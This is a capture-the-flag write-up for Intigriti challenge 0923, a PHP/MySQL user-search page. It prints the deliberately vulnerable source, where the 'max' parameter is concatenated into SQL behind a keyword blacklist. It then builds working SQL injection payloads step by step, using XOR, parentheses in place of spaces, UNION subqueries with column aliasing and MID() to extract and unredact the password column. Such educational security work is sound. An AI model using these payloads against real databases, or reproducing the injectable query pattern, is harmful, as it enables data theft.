Logo
Published on

Intigriti challenge 0923 writeup

Authors

Source: Intigriti

This writeup was selected by Intigriti as one of the winners: Tweet

Solves: 44

Introduction

This challenge is a simple php web page that allows you to search for users and set the returned count via the "max" query param. The appliation has a blacklisting mechanism that prevents you from using multiple keywords and characters. The goal is to bypass this mechanism and retrieve the flag from the password column.

Reconnaissance

Navigating to the page we can see that there is a table listing 3 columns for users: ID, Name,Email. Going further we can see a button "Show source" that will display the source code of the application.

Landing page

Source code analysis

Based on the source code we see that we have a combination of mysql and php

<?php

if (isset($_GET['showsource'])) {
    highlight_file(__FILE__);
    exit();
}

require_once("config.php");

$dsn = "mysql:host=$host;dbname=$db;charset=$charset";
$options = [
    PDO::ATTR_ERRMODE            => PDO::ERRMODE_EXCEPTION,
    PDO::ATTR_DEFAULT_FETCH_MODE => PDO::FETCH_ASSOC,
    PDO::ATTR_EMULATE_PREPARES   => false,
];

try {
    $pdo = new PDO($dsn, $user, $pass, $options);
} catch (\PDOException $e) {
    exit("Unable to connect to DB");
}

$max = 10;

if (isset($_GET['max']) && !is_array($_GET['max']) && $_GET['max']>0) {
    $max = $_GET['max'];
    $words  = ["'","\"",";","`"," ","a","b","h","k","p","v","x","or","if","case","in","between","join","json","set","=","|","&","%","+","-","<",">","#","/","\r","\n","\t","\v","\f"]; // list of characters to check
    foreach ($words as $w) {
        if (preg_match("#".preg_quote($w)."#i", $max)) {
            exit("H4ckerzzzz");
        } //no weird chars
    }       
}

try{
//seen in production
$stmt = $pdo->prepare("SELECT id, name, email FROM users WHERE id<=$max");
$stmt->execute();
$results = $stmt->fetchAll();
}
catch(\PDOException $e){
    exit("ERROR: BROKEN QUERY");
}
    /* FYI
    CREATE TABLE users (
        id INT AUTO_INCREMENT PRIMARY KEY,
        name VARCHAR(255) NOT NULL,
        email VARCHAR(255) UNIQUE NOT NULL,
        password VARCHAR(255) NOT NULL
    );
    */
?>

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Utenti</title>
    <link href="https://maxcdn.bootstrapcdn.com/bootstrap/4.5.2/css/bootstrap.min.css" rel="stylesheet">
</head>
<div class="container mt-5">

    <h2>Users</h2>

    <table class="table table-bordered">
        <thead>
            <tr>
                <th>ID</th>
                <th>Name</th>
                <th>Email</th>
            </tr>
        </thead>
        <tbody>
            <?php foreach ($results as $row): ?>
                <tr>
                    <td><?= htmlspecialchars(strpos($row['id'],"INTIGRITI")===false?$row['id']:"REDACTED"); ?></td> 
                    <td><?= htmlspecialchars(strpos($row['name'],"INTIGRITI")===false?$row['name']:"REDACTED"); ?></td>
                    <td><?= htmlspecialchars(strpos($row['email'],"INTIGRITI")===false?$row['email']:"REDACTED"); ?></td>
                </tr>
            <?php endforeach; ?>
        </tbody>
    </table>

    <div class="text-center mt-4">
        <!-- Show Source Button -->
        <a href="?showsource=1" class="btn btn-primary">Show Source</a>
    </div>

</div>

<!-- including Bootstrap e jQuery -->
<script src="https://ajax.googleapis.com/ajax/libs/jquery/3.5.1/jquery.min.js"></script>
<script src="https://maxcdn.bootstrapcdn.com/bootstrap/4.5.2/js/bootstrap.min.js"></script>

</body>
</html>

Database structure

There is a comment that has been left out that shows the table structure. We can see that there is a password column that is not being displayed in the table. This is the column that we want to target in order to retrieve the flag.

CREATE TABLE users (
        id INT AUTO_INCREMENT PRIMARY KEY,
        name VARCHAR(255) NOT NULL,
        email VARCHAR(255) UNIQUE NOT NULL,
        password VARCHAR(255) NOT NULL
    );

Query parameters

Going back to the source code we can see that the query parameter "max" is being used in the query. This parameter is not being sanitized and is being used directly in the query. This is a clear indication that we can use this parameter to perform a SQL injection.

$max = 10;
if (isset($_GET['max']) && !is_array($_GET['max']) && $_GET['max']>0)

// ...

$stmt = $pdo->prepare("SELECT id, name, email FROM users WHERE id<=$max");

Blacklisting mechanism

Scrolling a bit further down the code we can see that there is a blacklisting mechanism that prevents us from using multiple keywords and characters. The following characters are blacklisted: ', ", ;, `, , a, b, h, k, p, v, x, or, if, case, in, between, join, json, set, =, |, &, %, +, -, <, >, #, /, \r, \n, \t, \v, \f. The following keywords are blacklisted: or, if, case, in, between, join, json, set.

$max = $_GET['max'];
    $words  = ["'","\"",";","`"," ","a","b","h","k","p","v","x","or","if","case","in","between","join","json","set","=","|","&","%","+","-","<",">","#","/","\r","\n","\t","\v","\f"]; // list of characters to check
    foreach ($words as $w) {
        if (preg_match("#".preg_quote($w)."#i", $max)) {
            exit("H4ckerzzzz");
        } //no weird chars
    }    

Redaction mechanism

Further analysing the source code we can see that there is a redaction mechanism that prevents us from seeing the flag in case we manage to successfully execute an SQL injection for the password column. The following keywords are redacted: INTIGRITI. As per the instructions we know that the flag is in the format INTIGRITI{...} so this would replace any value that contains the substring INTIGRITI with REDACTED.

<?php foreach ($results as $row): ?>
                <tr>
                    <td><?= htmlspecialchars(strpos($row['id'],"INTIGRITI")===false?$row['id']:"REDACTED"); ?></td> 
                    <td><?= htmlspecialchars(strpos($row['name'],"INTIGRITI")===false?$row['name']:"REDACTED"); ?></td>
                    <td><?= htmlspecialchars(strpos($row['email'],"INTIGRITI")===false?$row['email']:"REDACTED"); ?></td>
                </tr>
            <?php endforeach; ?>

Exploitation

Setup

For my convenience in testing I used the same setup for the DB and php in online tools such as https://onecompiler.com/mysql and https://www.programiz.com/php/online-compiler. This allowed me to quickly test out my payloads and see the results.

Bypassing spaces

Right off the bat we can see that spaces and tabs are blacklisted so that would be the first issue we would need to tackle in order to bypass the blacklisting mechanism. After digging up some cheat sheets on bypassing filters on spacing and comments I came across the 2 following possibilities:

  • () - Enclosing values in parentesis
  • ^ - XOR operator

Testing it out

Starting with the first option we can see that we are not able to perform a SQL injection using the following payload:

https://challenge-0923.intigriti.io/challenge.php?max=(1)

This is because the max parameter condition that validates whether the value is greater than 0 is not being met so max is never set and we fallback to the default value and display all results. Still we should keep in mind this option as it might be useful in other scenarios.

Now we can try to inject using the XOR operator:

https://challenge-0923.intigriti.io/challenge.php?max=2^1
XOR injection

Success, we are able to see results. This means that we are able to perform a SQL injection using the XOR operator. Now we need to find a way get to the password column.

First thing that comes to mind is getting the values via UNION SELECT. Lets test it out to see if we can get a working query by combining our parantesis and XOR operator. After some playing around we get to:

1^(1)union(select(id),id,(id)from(users))

When we encode it to URL format we get the following payload:

https://challenge-0923.intigriti.io/challenge.php?max=1%5E%281%29union%28select%28id%29%2Cid%2C%28id%29from%28users%29%29
Union select

We are able to see the results of the query. Now we need to find a way to get the password column. This will not be easy since multiple characters are blacklisted such as a and p so we can't just select the column and be done with it. This is where it took me a while to get to a working solution.

My initial suspicion was confirmed after I was digging around for 10 minutes. I was looking for a way to query a value in a column based on the index of the column or some other way besides specifying its name. This landed me on this Writeup, specifically the part regarding fetching column names using a numeric index.

Turns out we can achieve this by using aliases for the queries and subqueries and then accessing the column by its index. After playing around with the query and going back and forth in my editor and chatGPT I got to a working solution:

1^(1)union(select(F.1),F.3,(0)from((select(null),2,1,3)union(select*from(users)))F)

Full payload:

https://challenge-0923.intigriti.io/challenge.php?max=1^(1)union(select(F.1)%2CMID(F.3%2C2%2C45)%2C(0)from((select(null)%2C2%2C1%2C3)union(select*from(users)))F)
Redacted password

Bypassing redaction

While we are trying to bypass the redaction mechanism we also keep in mind of the blacklist and find a way to display the value either in an encoded way we can decode or somehow strip the INTIGRITI substring from the value.

After searching around for methods and brute forcing the blacklist for something that either strips or encodes the value I came across the MID function in mysql that allows us to extract a substring from a value.

This is exactly what we need to bypass the redaction mechanism since it passes the blacklist mechanism and allows us to omit the substring INTIGRITI from the result.

In the final query we strip the first character from the result and leave everything else intact which looks like this:

1^(1)union(select(F.1),MID(F.3,2,45),(0)from((select(null),2,1,3)union(select*from(users)))F)

The payload looks like this:

https://challenge-0923.intigriti.io/challenge.php?max=1^(1)union(select(F.1)%2CMID(F.3%2C2%2C45)%2C(0)from((select(null)%2C2%2C1%2C3)union(select*from(users)))F)

And we get the flag!

Flag

Moral of the story

This challenge was a great example of how a simple blacklist can be bypassed by using a combination of different techniques. It also shows how important it is to have a good understanding of the underlying technologies and how they work in order to be able to come up with a working solution.